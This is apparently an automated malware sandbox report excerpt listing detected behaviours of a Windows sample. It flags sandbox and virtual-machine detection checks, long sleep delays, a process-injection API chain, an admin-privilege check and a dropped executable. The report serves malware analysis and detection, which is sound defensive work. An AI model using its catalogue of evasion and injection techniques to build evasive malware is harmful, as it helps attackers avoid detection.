Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dllhost.exe

Code function: OpenProcess,IsWow64Process,CloseHandle,OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,VirtualFreeEx,CloseHandle,CloseHandle,

14_2_0000000140001868

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Model FROM Win32_DiskDrive
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Model FROM Win32_DiskDrive

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5850	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3878	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 6827	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 648	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 1953	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 7917	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 418	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 864	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 5377	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1478	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 8786	Jump to behavior
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 389	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Window / User API: threadDelayed 1427	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 1345	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1333	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1301	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1273	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1321	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1409	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1409	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1379	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1377	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5444	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4307	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1349
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1343
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1341
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1332
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1355
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1347
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1347
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1345
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1313
Source: C:\Windows\System32\dllhost.exe	Window / User API: threadDelayed 388
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1266
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1357
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 1248

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Dropped PE file which has not been started: C:\Windows\$nya-onimai2\IhrFKM.exe

Jump to dropped file

Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_14-612
Source: C:\Windows\System32\cmd.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\dllhost.exe	Evasive API call chain: RegQueryValue,DecisionNodes,ExitProcess	graph_14-615
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

Source: C:\Windows\System32\dllhost.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_14-574

Source: C:\Windows\System32\winlogon.exe	API coverage: 6.1 %
Source: C:\Windows\System32\lsass.exe	API coverage: 8.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 8.7 %
Source: C:\Windows\System32\dwm.exe	API coverage: 6.1 %
Source: C:\Windows\System32\cmd.exe	API coverage: 4.5 %
Source: C:\Windows\System32\conhost.exe	API coverage: 8.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 8.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.5 %
Source: C:\Windows\System32\svchost.exe	API coverage: 8.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 8.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 2.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7496	Thread sleep count: 5850 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7496	Thread sleep count: 3878 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7568	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 7684	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7716	Thread sleep count: 6827 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7716	Thread sleep time: -6827000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7720	Thread sleep count: 648 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7720	Thread sleep time: -64800s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7716	Thread sleep count: 1953 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7716	Thread sleep time: -1953000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 7728	Thread sleep count: 7917 > 30	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 7728	Thread sleep time: -7917000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 7732	Thread sleep count: 418 > 30	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 7732	Thread sleep time: -41800s >= -30000s	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 7728	Thread sleep count: 864 > 30	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 7728	Thread sleep time: -864000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7740	Thread sleep count: 5377 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7740	Thread sleep time: -5377000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7744	Thread sleep count: 1478 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7744	Thread sleep time: -147800s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 8072	Thread sleep count: 8786 > 30	Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 8072	Thread sleep time: -8786000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 8076	Thread sleep count: 389 > 30	Jump to behavior
Source: C:\Windows\System32\dwm.exe TID: 8076	Thread sleep time: -38900s >= -30000s	Jump to behavior
Source: C:\Windows\System32\cmd.exe TID: 4304	Thread sleep time: -142700s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2872	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2992	Thread sleep count: 174 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2992	Thread sleep time: -174000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2908	Thread sleep count: 1333 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2908	Thread sleep time: -133300s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8084	Thread sleep count: 53 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8084	Thread sleep time: -53000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8088	Thread sleep count: 1301 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8088	Thread sleep time: -130100s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8100	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8100	Thread sleep time: -34000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8104	Thread sleep count: 1273 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8104	Thread sleep time: -127300s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8112	Thread sleep count: 149 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8112	Thread sleep time: -149000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8116	Thread sleep count: 1321 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8116	Thread sleep time: -132100s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8124	Thread sleep count: 152 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8124	Thread sleep time: -152000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8128	Thread sleep count: 1409 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8128	Thread sleep time: -140900s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8136	Thread sleep count: 161 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8136	Thread sleep time: -161000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8140	Thread sleep count: 1409 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8140	Thread sleep time: -140900s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8148	Thread sleep count: 159 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8148	Thread sleep time: -159000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8152	Thread sleep count: 1379 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8152	Thread sleep time: -137900s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7364	Thread sleep count: 164 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7364	Thread sleep time: -164000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7308	Thread sleep count: 1377 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7308	Thread sleep time: -137700s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7288	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7324	Thread sleep count: 175 > 30
Source: C:\Windows\System32\svchost.exe TID: 7324	Thread sleep time: -175000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7320	Thread sleep count: 1349 > 30
Source: C:\Windows\System32\svchost.exe TID: 7320	Thread sleep time: -134900s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2980	Thread sleep count: 175 > 30
Source: C:\Windows\System32\svchost.exe TID: 2980	Thread sleep time: -175000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3232	Thread sleep count: 1343 > 30
Source: C:\Windows\System32\svchost.exe TID: 3232	Thread sleep time: -134300s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7424	Thread sleep count: 177 > 30
Source: C:\Windows\System32\svchost.exe TID: 7424	Thread sleep time: -177000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3452	Thread sleep count: 1341 > 30
Source: C:\Windows\System32\svchost.exe TID: 3452	Thread sleep time: -134100s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7432	Thread sleep count: 178 > 30
Source: C:\Windows\System32\svchost.exe TID: 7432	Thread sleep time: -178000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7448	Thread sleep count: 1332 > 30
Source: C:\Windows\System32\svchost.exe TID: 7448	Thread sleep time: -133200s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7412	Thread sleep count: 181 > 30
Source: C:\Windows\System32\svchost.exe TID: 7412	Thread sleep time: -181000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6676	Thread sleep count: 1355 > 30
Source: C:\Windows\System32\svchost.exe TID: 6676	Thread sleep time: -135500s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 564	Thread sleep count: 176 > 30
Source: C:\Windows\System32\svchost.exe TID: 564	Thread sleep time: -176000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2620	Thread sleep count: 1347 > 30
Source: C:\Windows\System32\svchost.exe TID: 2620	Thread sleep time: -134700s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7252	Thread sleep count: 180 > 30
Source: C:\Windows\System32\svchost.exe TID: 7252	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7236	Thread sleep count: 1347 > 30
Source: C:\Windows\System32\svchost.exe TID: 7236	Thread sleep time: -134700s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1652	Thread sleep count: 1345 > 30
Source: C:\Windows\System32\svchost.exe TID: 1652	Thread sleep time: -134500s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6496	Thread sleep count: 171 > 30
Source: C:\Windows\System32\svchost.exe TID: 6496	Thread sleep time: -171000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1876	Thread sleep count: 170 > 30
Source: C:\Windows\System32\svchost.exe TID: 1876	Thread sleep time: -170000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1180	Thread sleep count: 1313 > 30
Source: C:\Windows\System32\svchost.exe TID: 1180	Thread sleep time: -131300s >= -30000s
Source: C:\Windows\System32\dllhost.exe TID: 2936	Thread sleep count: 388 > 30
Source: C:\Windows\System32\dllhost.exe TID: 2936	Thread sleep time: -38800s >= -30000s
Source: C:\Windows\System32\dllhost.exe TID: 7488	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3824	Thread sleep count: 190 > 30
Source: C:\Windows\System32\svchost.exe TID: 3824	Thread sleep time: -190000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1316	Thread sleep count: 1266 > 30
Source: C:\Windows\System32\svchost.exe TID: 1316	Thread sleep time: -126600s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1848	Thread sleep count: 192 > 30
Source: C:\Windows\System32\svchost.exe TID: 1848	Thread sleep time: -192000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2040	Thread sleep count: 1357 > 30
Source: C:\Windows\System32\svchost.exe TID: 2040	Thread sleep time: -135700s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1860	Thread sleep count: 183 > 30
Source: C:\Windows\System32\svchost.exe TID: 1860	Thread sleep time: -183000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1840	Thread sleep count: 1248 > 30
Source: C:\Windows\System32\svchost.exe TID: 1840	Thread sleep time: -124800s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\winlogon.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
